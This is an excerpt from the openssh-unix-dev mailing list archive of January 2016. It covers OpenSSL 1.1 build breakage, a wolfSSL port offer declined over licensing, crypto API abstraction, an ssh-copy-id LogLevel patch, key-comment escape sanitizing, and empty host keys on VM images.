                        as_fn_error $? "OpenSSL library not found." "$LINENO" 5

fi
rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
  conftest.$ac_objext conftest.beam conftest.$ac_ext
fi

                                                               

Could there be anything that is causing openssh not to see the new openssl 1.1 

and are any other dependent serverware affacted?


-- 
Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
God,Queen and country!Never Satan President Republic!Beware AntiChrist rising! 
http://www.fullyfollow.me/rootnl2k  Look at Psalms 14 and 53 on Atheism
Happy Christmas 2015 and Merry New Year 2016 

From kaleb at wolfssl.com  Tue Jan  5 03:38:03 2016
From: kaleb at wolfssl.com (Kaleb Himes)
Date: Mon, 4 Jan 2016 09:38:03 -0700
Subject: Alternate Open Source Crypto Solution in OpenSSH
Message-ID: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>

Hello OpenSSH Developers and Community,



wolfSSL (formerly known as CyaSSL) is a dual licensed SSL/TLS
implementation specializing in the embedded space. As we have grown we are
being used in larger systems due to our reduced resource consumption on a
per-session basis. Many have found that their servers are able to service
more connections by replacing OpenSSL with wolfSSL.

Our engineers have recently completed a port to OpenSSH. This port rips
OpenSSL out of OpenSSH and inserts wolfSSL in its place.



So why would you care about OpenSSL or wolfSSL, what does it really matter
anyway?



1.     wolfSSL offers a pluggable Federal Information Processing Standard
(FIPS 140-2) certified crypto library.

a.     Read more about FIPS in wolfSSL
<https://wolfssl.com/wolfSSL/fips.html>.

b.     See our FIPS certification.
<http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm#2425>



2.     OpenSSL has suffered over the past few years with too many
contributions from a variety of sources. The lack of testing and
verification of each submission to OpenSSL has resulted in numerous
security vulnerabilities.

3.     We are very selective about who can submit code to our libraries and
each commit is tested extensively to ensure the best security is always
provided for our customers.

4.     We would like to provide consumers of OpenSSH with an alternate
crypto solution.



We have actively been testing our port on Linux and Mac OS X.

If this is something that interests you, we would like to formally extend
an invitation to test our port on the OS you use, and provide
feedback/suggestions on your results.



Thank you for your time.

Details on getting a copy of our port, the wolfSSL libraries, and feedback
channels can be found below.




OpenSSH port Location: https://github.com/kaleb-himes/openssh-portable.git



wolfSSL Location: https://github.com/wolfSSL/wolfssl.git

                              or download from our website:


https://wolfssl.com/wolfSSL/download/downloadForm.php



>From your terminal:

git clone https://github.com/kaleb-himes/openssh-portable.git
git clone https://github.com/kaleb-himes/wolfssl.git

cd wolfssl
./autogen.sh
./configure --prefix=/usr/local/lib --enable-openssh && make && sudo make
install

cd ..
cd openssh-portable
autoreconf
./configure --with-wolfssl=/usr/local/lib --with-pam && make && make tests

Our Jenkins server is now using this port to actively checkout changes from
github and is also running all slave nodes using SSH with this port. This
provides us with some real-world testing in addition to the unit tests.

Feedback can be sent to: info at wolfssl.com or support at wolfssl.com



Additional Feedback Avenue: http://www.wolfssl.com/forums/



Sources:

"Portable OpenSSH." www.openssh.com. Accessed December 31, 2015.
http://www.openssh.com/portable.html.



Kaleb Himes

www.wolfssl.com

kaleb at wolfssl.com

Skype: kaleb.himes

+1 406 381 9556

From peter at stuge.se  Tue Jan  5 04:24:29 2016
From: peter at stuge.se (Peter Stuge)
Date: Mon, 4 Jan 2016 18:24:29 +0100
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
Message-ID: <20160104172429.3035.qmail@stuge.se>

Hi Kaleb,

Kaleb Himes wrote:
> OpenSSH port Location: https://github.com/kaleb-himes/openssh-portable.git

I'm afraid this repository is too messy to be useful. :\

You need to use the features offered by git to preserve commit ids if
anyone else besides yourself is going to be able to work with this,
in particular developers who otherwise work with the upstream repo.

If you are interested in contributing your work to the project then
you have to rebase your changes on top of the current upstream code.

Unfortunately it's too difficult to do a meaningful review otherwise.


//Peter

From gert at greenie.muc.de  Tue Jan  5 04:24:21 2016
From: gert at greenie.muc.de (Gert Doering)
Date: Mon, 4 Jan 2016 18:24:21 +0100
Subject: User id for the forwarder ports
In-Reply-To: <20160104150625.24518.qmail@stuge.se>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
 <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>
 <20160104150625.24518.qmail@stuge.se>
Message-ID: <20160104172421.GA24952@greenie.muc.de>

Hi,

On Mon, Jan 04, 2016 at 04:06:25PM +0100, Peter Stuge wrote:
> The original question was about the server-side username. I guess the
> solution is platform-specific.

"ident", if the server can be extended to query the ident server.

(it has been mentioned before, and if the root account on the server can
be trusted, ident is good enough here)

gert

-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de

From djm at mindrot.org  Tue Jan  5 09:15:34 2016
From: djm at mindrot.org (Damien Miller)
Date: Tue, 5 Jan 2016 09:15:34 +1100 (AEDT)
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <20160104172429.3035.qmail@stuge.se>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
Message-ID: <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>

On Mon, 4 Jan 2016, Peter Stuge wrote:

> Hi Kaleb,
> 
> Kaleb Himes wrote:
> > OpenSSH port Location: https://github.com/kaleb-himes/openssh-portable.git
> 
> I'm afraid this repository is too messy to be useful. :\
> 
> You need to use the features offered by git to preserve commit ids if
> anyone else besides yourself is going to be able to work with this,
> in particular developers who otherwise work with the upstream repo.
> 
> If you are interested in contributing your work to the project then
> you have to rebase your changes on top of the current upstream code.

There's another problem - I just noticed that WolfSSL is GPL. We have
no interest in adding support for a GPL crypto library.

-d

From dtucker at zip.com.au  Tue Jan  5 11:21:37 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 5 Jan 2016 11:21:37 +1100
Subject: OPenssl and dependencies such as openssh
In-Reply-To: <20160104160831.GA4457@doctor.nl2k.ab.ca>
References: <20160104160831.GA4457@doctor.nl2k.ab.ca>
Message-ID: <CALDDTe19rsUiJXrdqSd-GrayCL8X4tNiXQCZqDZ0RnGZus-HDw@mail.gmail.com>

On Tue, Jan 5, 2016 at 3:08 AM, The Doctor <doctor at doctor.nl2k.ab.ca> wrote:
> This might be a croosmail, but necessary.
>
> I did us openssl-SNAP-20160104 minorss erros and installed.

installed onto what kind of system and where?

> I tried openssh-SNAP-20160105 and the OpenSSL libraries cannot be found

OpenSSH's config.log will have the details about what failed.

My guess is that you built only a dynamic libcrypto.so and installed
it somewhere that your runtime linker can't find.  Exactly how to fix
that will depend on what kind of system you have (eg /etc/ld.so.conf
on Linuxes).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From doctor at doctor.nl2k.ab.ca  Tue Jan  5 11:28:13 2016
From: doctor at doctor.nl2k.ab.ca (The Doctor)
Date: Mon, 4 Jan 2016 17:28:13 -0700
Subject: OPenssl and dependencies such as openssh
In-Reply-To: <CALDDTe19rsUiJXrdqSd-GrayCL8X4tNiXQCZqDZ0RnGZus-HDw@mail.gmail.com>
References: <20160104160831.GA4457@doctor.nl2k.ab.ca>
 <CALDDTe19rsUiJXrdqSd-GrayCL8X4tNiXQCZqDZ0RnGZus-HDw@mail.gmail.com>
Message-ID: <20160105002812.GA1019@doctor.nl2k.ab.ca>

On Tue, Jan 05, 2016 at 11:21:37AM +1100, Darren Tucker wrote:
> On Tue, Jan 5, 2016 at 3:08 AM, The Doctor <doctor at doctor.nl2k.ab.ca> wrote:
> > This might be a croosmail, but necessary.
> >
> > I did us openssl-SNAP-20160104 minorss erros and installed.
> 
> installed onto what kind of system and where?
> 
> > I tried openssh-SNAP-20160105 and the OpenSSL libraries cannot be found
> 
> OpenSSH's config.log will have the details about what failed.
> 
> My guess is that you built only a dynamic libcrypto.so and installed
> it somewhere that your runtime linker can't find.  Exactly how to fix
> that will depend on what kind of system you have (eg /etc/ld.so.conf
> on Linuxes).
>

Both libssl and libcrypto were build.

In openssl , it was discovered that an old code was being
used to find the libraries.
 
> -- 
> Darren Tucker (dtucker at zip.com.au)
> GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
>     Good judgement comes with experience. Unfortunately, the experience
> usually comes from bad judgement.
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev

-- 
Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
God,Queen and country!Never Satan President Republic!Beware AntiChrist rising! 
http://www.fullyfollow.me/rootnl2k  Look at Psalms 14 and 53 on Atheism
Birthdate 29 Jan 1969 Redhill, Surrey, UK

From doctor at doctor.nl2k.ab.ca  Tue Jan  5 11:30:17 2016
From: doctor at doctor.nl2k.ab.ca (The Doctor)
Date: Mon, 4 Jan 2016 17:30:17 -0700
Subject: [openssl-users@dukhovni.org: Re: [openssl-users] OPenssl and
 dependencies such as openssh]
Message-ID: <20160105003017.GA1366@doctor.nl2k.ab.ca>

Darren Tucker, Viktor of openssl found this issue.


----- Forwarded message from Viktor Dukhovni <openssl-users at dukhovni.org> -----

Date: Mon, 4 Jan 2016 19:22:04 +0000
From: Viktor Dukhovni <openssl-users at dukhovni.org>
To: openssl-users at openssl.org
Cc: openssl-dev at openssl.org
Subject: Re: [openssl-users] OPenssl and dependencies such as openssh
User-Agent: Mutt/1.5.24 (2015-08-30)

On Mon, Jan 04, 2016 at 09:08:31AM -0700, The Doctor wrote:

>                 if ((rc = fprintf(fd ,"%08x (%s)\n", SSLeay(),
>                     SSLeay_version(SSLEAY_VERSION))) <0)
> 
> Could there be anything that is causing openssh not to see the new openssl 1.1 

The above. The SSLeay names are gone.  The new way is:

	     if ((rc = fprintf(fd ,"%08x (%s)\n", OpenSSL_version_num(),
		 OpenSSL_version(OPENSSL_VERSION))) <0)

I think it is likely prudent at this time to restore source-
backwards-compatible behaviour, by adding to <openssl/crypto.h>:

    #if !defined(OPENSSL_API_COMPAT) || OPENSSL_API_COMPAT < 0x10100000L
    # include <openssl/opensslv.h>
    # define SSLeay                  OpenSSL_version_num
    # define SSLeay_version          OpenSSL_version
    # define SSLEAY_VERSION_NUMBER   OPENSSL_VERSION_NUMBER
    # define SSLEAY_VERSION          OPENSSL_VERSION
    # define SSLEAY_CFLAGS           OPENSSL_CFLAGS
    # define SSLEAY_BUILT_ON         OPENSSL_BUILT_ON
    # define SSLEAY_PLATFORM         OPENSSL_PLATFORM
    # define SSLEAY_DIR              OPENSSL_DIR
    #endif /* OPENSSL_API_COMPAT */

Users who want to make sure they are avoiding interfaces that are
deprecated with 1.1.0 can set OPENSSL_API_COMPAT to 0x10100000L or
higher as appropriate.

-- 
	Viktor.
_______________________________________________
openssl-users mailing list
To unsubscribe: https://mta.openssl.org/mailman/listinfo/openssl-users

----- End forwarded message -----

-- 
Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
God,Queen and country!Never Satan President Republic!Beware AntiChrist rising! 
http://www.fullyfollow.me/rootnl2k  Look at Psalms 14 and 53 on Atheism
Birthdate 29 Jan 1969 Redhill, Surrey, UK

From bostjan at a2o.si  Tue Jan  5 12:35:05 2016
From: bostjan at a2o.si (Bostjan Skufca)
Date: Tue, 5 Jan 2016 02:35:05 +0100
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
Message-ID: <CAEp_DRCdLBq9r0Cp96cmLavj8Md_1HK_RL4PYcNkrTPWbXjZhw@mail.gmail.com>

(I did not look at the code yet, begging forgiveness:)

How well structured is OpenSSH if one would want to use alternative SSL
implementation? Or, if I rephrase the question - how married is OpenSSH to
OpenSSL?

Would it make sense to refactor (if it is not done yet) openssh to use
generic API for communicating with any SSL implementation? Or is the
general stance on this subject "the new SSL implementation should provide
openssl-compatible API to be usable with openssh"?

I have no interest in any side of the argument, just curious.

b.


On 4 January 2016 at 23:15, Damien Miller <djm at mindrot.org> wrote:

> On Mon, 4 Jan 2016, Peter Stuge wrote:
>
> > Hi Kaleb,
> >
> > Kaleb Himes wrote:
> > > OpenSSH port Location:
> https://github.com/kaleb-himes/openssh-portable.git
> >
> > I'm afraid this repository is too messy to be useful. :\
> >
> > You need to use the features offered by git to preserve commit ids if
> > anyone else besides yourself is going to be able to work with this,
> > in particular developers who otherwise work with the upstream repo.
> >
> > If you are interested in contributing your work to the project then
> > you have to rebase your changes on top of the current upstream code.
>
> There's another problem - I just noticed that WolfSSL is GPL. We have
> no interest in adding support for a GPL crypto library.
>
> -d
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>

From bostjan at a2o.si  Tue Jan  5 12:35:04 2016
From: bostjan at a2o.si (Bostjan Skufca)
Date: Tue, 5 Jan 2016 02:35:04 +0100
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
Message-ID: <CAEp_DRBbcY7UsDdQBMYvzy6pk9+E_zfs3TvixVaipiJNX3RATg@mail.gmail.com>

(I did not look at the code yet, begging forgiveness:)

How well structured is OpenSSH if one would want to use alternative SSL
implementation? Or, if I rephrase the question - how married is OpenSSH to
OpenSSL?

Would it make sense to refactor (if it is not done yet) openssh to use
generic API for communicating with any SSL implementation? Or is the
general stance on this subject "the new SSL implementation should provide
openssl-compatible API to be usable with openssh"?

I have no interest in any side of the argument, just curious.

b.


On 4 January 2016 at 23:15, Damien Miller <djm at mindrot.org> wrote:

> On Mon, 4 Jan 2016, Peter Stuge wrote:
>
> > Hi Kaleb,
> >
> > Kaleb Himes wrote:
> > > OpenSSH port Location:
> https://github.com/kaleb-himes/openssh-portable.git
> >
> > I'm afraid this repository is too messy to be useful. :\
> >
> > You need to use the features offered by git to preserve commit ids if
> > anyone else besides yourself is going to be able to work with this,
> > in particular developers who otherwise work with the upstream repo.
> >
> > If you are interested in contributing your work to the project then
> > you have to rebase your changes on top of the current upstream code.
>
> There's another problem - I just noticed that WolfSSL is GPL. We have
> no interest in adding support for a GPL crypto library.
>
> -d
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>

From dkg at fifthhorseman.net  Tue Jan  5 14:10:51 2016
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Mon, 04 Jan 2016 22:10:51 -0500
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <CAEp_DRCdLBq9r0Cp96cmLavj8Md_1HK_RL4PYcNkrTPWbXjZhw@mail.gmail.com>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
 <CAEp_DRCdLBq9r0Cp96cmLavj8Md_1HK_RL4PYcNkrTPWbXjZhw@mail.gmail.com>
Message-ID: <87wproyb44.fsf@alice.fifthhorseman.net>

On Mon 2016-01-04 20:35:05 -0500, Bostjan Skufca wrote:

> Would it make sense to refactor (if it is not done yet) openssh to use
> generic API for communicating with any SSL implementation? Or is the
> general stance on this subject "the new SSL implementation should provide
> openssl-compatible API to be usable with openssh"?

OpenSSH doesn't use any of the "SSL" (or TLS) features of OpenSSL.  It
just uses it for its library of cryptoprimitives.  There have been
several mentions of possibly swapping out crypto libraries in the past
(a few in the last few months iirc), but it is currently not designed
with such a platform-independent crypto-primitive API in mind.

Damien, you said you're uninterested in linking to a GPL library -- is
OpenSSH policy the same for LGPL libraries as well? (i'm thinking of
nettle, which is licensed LGPL-2.1+, and has a very nice API for
cryptoprimitives)

     --dkg

From djm at mindrot.org  Tue Jan  5 14:20:18 2016
From: djm at mindrot.org (Damien Miller)
Date: Tue, 5 Jan 2016 14:20:18 +1100 (AEDT)
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <CAEp_DRBbcY7UsDdQBMYvzy6pk9+E_zfs3TvixVaipiJNX3RATg@mail.gmail.com>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
 <CAEp_DRBbcY7UsDdQBMYvzy6pk9+E_zfs3TvixVaipiJNX3RATg@mail.gmail.com>
Message-ID: <alpine.BSO.2.20.1601051416551.32763@natsu.mindrot.org>

On Tue, 5 Jan 2016, Bostjan Skufca wrote:

> (I did not look at the code yet, begging forgiveness:)
> 
> How well structured is OpenSSH if one would want to use alternative SSL
> implementation? Or, if I rephrase the question - how married is OpenSSH to
> OpenSSL?
> 
> Would it make sense to refactor (if it is not done yet) openssh to use
> generic API for communicating with any SSL implementation? Or is the
> general stance on this subject "the new SSL implementation should provide
> openssl-compatible API to be usable with openssh"?
> 
> I have no interest in any side of the argument, just curious.

We're happy to factor out the openssl API, and I've started doing so:

https://github.com/djmdjm/openssh-openbsd/tree/openssl-wrap

This is doing some of the harder parts first: DH and BIGNUM, though
the latter only in KEX. I'd like to wrap all BIGNUM use eventually
though.

Replacing symmetric ciphers and MACs are considerably easier, since
most use of them is via cipher.h and digest.h APIs.

-d

From djm at mindrot.org  Tue Jan  5 14:23:31 2016
From: djm at mindrot.org (Damien Miller)
Date: Tue, 5 Jan 2016 14:23:31 +1100 (AEDT)
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <87wproyb44.fsf@alice.fifthhorseman.net>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
 <CAEp_DRCdLBq9r0Cp96cmLavj8Md_1HK_RL4PYcNkrTPWbXjZhw@mail.gmail.com>
 <87wproyb44.fsf@alice.fifthhorseman.net>
Message-ID: <alpine.BSO.2.20.1601051420280.32763@natsu.mindrot.org>

On Mon, 4 Jan 2016, Daniel Kahn Gillmor wrote:

> Damien, you said you're uninterested in linking to a GPL library -- is
> OpenSSH policy the same for LGPL libraries as well? (i'm thinking of
> nettle, which is licensed LGPL-2.1+, and has a very nice API for
> cryptoprimitives)

I'd like to get us to a point where all the crypto stuff happens
via a handful of files that implement a simple API that is backed up
with a good suite of tests from the OpenSSH side.

Speaking only for myself, I don't really want to do any library-
specific porting until then.

-d


From dkg at fifthhorseman.net  Tue Jan  5 14:32:26 2016
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Mon, 04 Jan 2016 22:32:26 -0500
Subject: Alternate Open Source Crypto Solution in OpenSSH
In-Reply-To: <alpine.BSO.2.20.1601051420280.32763@natsu.mindrot.org>
References: <CAMB3dQUiSoQeE0a0EPRPg+FnpGSRaVQDSQXZzOYw8M0kfWJ-4Q@mail.gmail.com>
 <20160104172429.3035.qmail@stuge.se>
 <alpine.BSO.2.20.1601050914550.32763@natsu.mindrot.org>
 <CAEp_DRCdLBq9r0Cp96cmLavj8Md_1HK_RL4PYcNkrTPWbXjZhw@mail.gmail.com>
 <87wproyb44.fsf@alice.fifthhorseman.net>
 <alpine.BSO.2.20.1601051420280.32763@natsu.mindrot.org>
Message-ID: <87r3hwya45.fsf@alice.fifthhorseman.net>

On Mon 2016-01-04 22:23:31 -0500, Damien Miller wrote:
> On Mon, 4 Jan 2016, Daniel Kahn Gillmor wrote:
>
>> Damien, you said you're uninterested in linking to a GPL library -- is
>> OpenSSH policy the same for LGPL libraries as well? (i'm thinking of
>> nettle, which is licensed LGPL-2.1+, and has a very nice API for
>> cryptoprimitives)
>
> I'd like to get us to a point where all the crypto stuff happens
> via a handful of files that implement a simple API that is backed up
> with a good suite of tests from the OpenSSH side.

That would be great to have.  If you make it a sane non-SSH-specific API
with a good suite of independent tests, i can imagine cryptoprimitive
libraries organizing themselves to support it directly (so that they can
be "OpenSSH-compatible"), which would be a win for everyone as well as a
tempting place to add more good tests in the future.

> Speaking only for myself, I don't really want to do any library-
> specific porting until then.

Understood, thanks.

Regards,

    --dkg

From linux at okkie.nu  Wed Jan  6 00:04:46 2016
From: linux at okkie.nu (Oscar Roozen)
Date: Tue, 5 Jan 2016 14:04:46 +0100
Subject: ssh-copy-id doesn't work when LogLevel=Quiet (Patch included)
Message-ID: <20160105130445.GA10668@okkie.nu>


This is a simple patch to a simple problem that took me some time to
find. I had set LogLevel=Quiet on a group of hosts to mute some output
in scripts. In hindsight, this was a stupid decision. I could have used
LogLevel=Error just as well. When later trying to script something using
ssh-copy-id, it would insist the key was already there. Yet scp kept
prompting for a passord...

Turns out ssh-copy-id relies on the output of ssh to determine whether
the key is already in place. No error => key already there. Loglevel
Quiet => key already there. Haha.. Fooled me! ;-)

The fix is simple. If ssh-copy-id needs an error output, it should force
this output to be there, independent of other configurations:

(Patch against openssh-clients-6.9p1-9.fc22.x86_64 on a Fedora system)

--- /usr/bin/ssh-copy-id.org	2016-01-05 13:45:08.551829298 +0100
+++ /usr/bin/ssh-copy-id	2016-01-05 12:28:28.537612334 +0100
@@ -216,6 +216,7 @@
         # find if only given the contents of the .pub file in an
         # unrelated tmpfile
         ssh -i "${PRIV_ID_FILE:-$L_TMP_ID_FILE}" \
             -o PreferredAuthentications=publickey \
+            -o LogLevel=Error \
             -o IdentitiesOnly=yes "$@" exit 2>$L_TMP_ID_FILE.stderr
</dev/null
         if [ "$?" = "$L_SUCCESS" ] ; then
           : > $L_TMP_ID_FILE



From jjelen at redhat.com  Wed Jan  6 03:15:10 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Tue, 5 Jan 2016 17:15:10 +0100
Subject: ssh-copy-id doesn't work when LogLevel=Quiet (Patch included)
In-Reply-To: <20160105130445.GA10668@okkie.nu>
References: <20160105130445.GA10668@okkie.nu>
Message-ID: <568BEC0E.9060103@redhat.com>


On 01/05/2016 02:04 PM, Oscar Roozen wrote:
> (Patch against openssh-clients-6.9p1-9.fc22.x86_64 on a Fedora system)
>
> --- /usr/bin/ssh-copy-id.org	2016-01-05 13:45:08.551829298 +0100
> +++ /usr/bin/ssh-copy-id	2016-01-05 12:28:28.537612334 +0100
> @@ -216,6 +216,7 @@
>           # find if only given the contents of the .pub file in an
>           # unrelated tmpfile
>           ssh -i "${PRIV_ID_FILE:-$L_TMP_ID_FILE}" \
>               -o PreferredAuthentications=publickey \
> +            -o LogLevel=Error \
>               -o IdentitiesOnly=yes "$@" exit 2>$L_TMP_ID_FILE.stderr
> </dev/null
>           if [ "$?" = "$L_SUCCESS" ] ; then
>             : > $L_TMP_ID_FILE

Hello Oscar,
this is already fixed in ssh-copy-id repo [1], has even it's own 
upstream bugzilla [2]. It is also in current Fedora 23 [3]. You can get 
it even for your Fedora 22 from copr repo [4], if you are interested and 
you want to try if it works for you.

[1] 
http://git.hands.com/?p=ssh-copy-id.git;a=commit;h=35f05e39cda8670b3f6797330a3e521fda509a4c
[2] https://bugzilla.mindrot.org/show_bug.cgi?id=2214
[3] https://bodhi.fedoraproject.org/updates/FEDORA-2015-8e6294b5c2
[4] https://copr.fedoraproject.org/coprs/jjelen/openssh-latest/

Regards,

-- 
Jakub Jelen
Security Technologies
Red Hat


From rohieb at rohieb.name  Wed Jan  6 06:21:59 2016
From: rohieb at rohieb.name (Roland Hieber)
Date: Tue, 5 Jan 2016 20:21:59 +0100
Subject: ssh-keygen: sanitize ANSI escape sequences in key comment
In-Reply-To: <alpine.BSO.2.20.1601041826360.28430@natsu.mindrot.org>
References: <56883D56.30503@rohieb.name> <56883F0F.5020504@rohieb.name>
 <alpine.BSO.2.20.1601041826360.28430@natsu.mindrot.org>
Message-ID: <568C17D7.4040205@rohieb.name>

On 04.01.2016 08:29, Damien Miller wrote:
> No problem :) Could I ask you to file a bug at https://bugzilla.mindrot.org/ ?
> 
> I think we should use strnvis* with VIS_SAFE|VIS_OCTAL flags instead of
> explicit white/blacklists of characters.

Thanks, I didn't know about strvis() yet, but it does what I want :)
The new patch is at https://bugzilla.mindrot.org/show_bug.cgi?id=2520

 - Roland

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160105/f2f056d5/attachment.bin>

From benjamin.drung at profitbricks.com  Thu Jan  7 05:08:24 2016
From: benjamin.drung at profitbricks.com (Benjamin Drung)
Date: Wed, 06 Jan 2016 19:08:24 +0100
Subject: Empty (zero byte) SSH host keys
Message-ID: <1452103704.16866.23.camel@profitbricks.com>

Hi,

We create virtual machine image templates by doing automated minimal
installations of different Linux distributions (via
preseed/kickstarter/autoyast). At the end of the installation, we
remove the SSH host keys (rm -f /etc/ssh/ssh*_key*). Fresh SSH host
keys will be generated on the first boot of the image instances. This
is done by adding a "dpkg-reconfigure openssh-server" call in
/etc/rc.local (which calls ssh-keygen) on Debian/Ubuntu and by the init
script of sshd on the other distributions.

This leads to working SSH server running on the virtual machines most
of the times, but sometimes the SSH connection fails with "connection
reset by peer". The investigation of Debian 7 "wheezy" images showed
that these faulty machines have empty (zero byte) SSH host key files.
These files do not exist before the machines are started, but they do
exist before "dpkg-reconfigure openssh-server" is called.

So it seems that some process creates these empty SSH host key files.
Can you help to further debugging this strange behavior? Does sshd
create SSH host keys?

-- 
Benjamin Drung
System Developer
Debian & Ubuntu Developer

ProfitBricks GmbH
Greifswalder Str. 207
D - 10405 Berlin

Email: benjamin.drung at profitbricks.com
URL:  http://www.profitbricks.com

Sitz der Gesellschaft: Berlin.
Registergericht: Amtsgericht Charlottenburg, HRB 125506B.
Gesch?ftsf?hrer: Andreas Gauger, Achim Weiss.



From djm at mindrot.org  Thu Jan  7 10:09:27 2016
From: djm at mindrot.org (Damien Miller)
Date: Thu, 7 Jan 2016 10:09:27 +1100 (AEDT)
Subject: Empty (zero byte) SSH host keys
In-Reply-To: <1452103704.16866.23.camel@profitbricks.com>
References: <1452103704.16866.23.camel@profitbricks.com>
Message-ID: <alpine.BSO.2.20.1601071008120.16063@natsu.mindrot.org>

On Wed, 6 Jan 2016, Benjamin Drung wrote:

> Hi,
> 
> We create virtual machine image templates by doing automated minimal
> installations of different Linux distributions (via
> preseed/kickstarter/autoyast). At the end of the installation, we
> remove the SSH host keys (rm -f /etc/ssh/ssh*_key*). Fresh SSH host
> keys will be generated on the first boot of the image instances. This
> is done by adding a "dpkg-reconfigure openssh-server" call in
> /etc/rc.local (which calls ssh-keygen) on Debian/Ubuntu and by the init
> script of sshd on the other distributions.
> 
> This leads to working SSH server running on the virtual machines most
> of the times, but sometimes the SSH connection fails with "connection
> reset by peer". The investigation of Debian 7 "wheezy" images showed
> that these faulty machines have empty (zero byte) SSH host key files.
> These files do not exist before the machines are started, but they do
> exist before "dpkg-reconfigure openssh-server" is called.
> 
> So it seems that some process creates these empty SSH host key files.
> Can you help to further debugging this strange behavior? Does sshd
> create SSH host keys?

No, sshd only reads and never writes host keys. It's possible that
either ssh-keygen is failing during writing the keys out or there
is some bug in the init script that is calling it.

-d

From nkadel at gmail.com  Thu Jan  7 19:18:17 2016
From: nkadel at gmail.com (Nico Kadel-Garcia)
Date: Thu, 7 Jan 2016 03:18:17 -0500
Subject: Empty (zero byte) SSH host keys
In-Reply-To: <1452103704.16866.23.camel@profitbricks.com>
References: <1452103704.16866.23.camel@profitbricks.com>
Message-ID: <CAOCN9rxXvp=CObvUBL15gsyU-kdQp9giVxk4w98UK0zQ4g0Q0Q@mail.gmail.com>

On Wed, Jan 6, 2016 at 1:08 PM, Benjamin Drung
<benjamin.drung at profitbricks.com> wrote:
> Hi,
>
> We create virtual machine image templates by doing automated minimal
> installations of different Linux distributions (via
> preseed/kickstarter/autoyast). At the end of the installation, we
> remove the SSH host keys (rm -f /etc/ssh/ssh*_key*). Fresh SSH host
> keys will be generated on the first boot of the image instances. This
> is done by adding a "dpkg-reconfigure openssh-server" call in
> /etc/rc.local (which calls ssh-keygen) on Debian/Ubuntu and by the init
> script of sshd on the other distributions.
>
> This leads to working SSH server running on the virtual machines most
> of the times, but sometimes the SSH connection fails with "connection
> reset by peer". The investigation of Debian 7 "wheezy" images showed
> that these faulty machines have empty (zero byte) SSH host key files.
> These files do not exist before the machines are started, but they do
> exist before "dpkg-reconfigure openssh-server" is called.
>
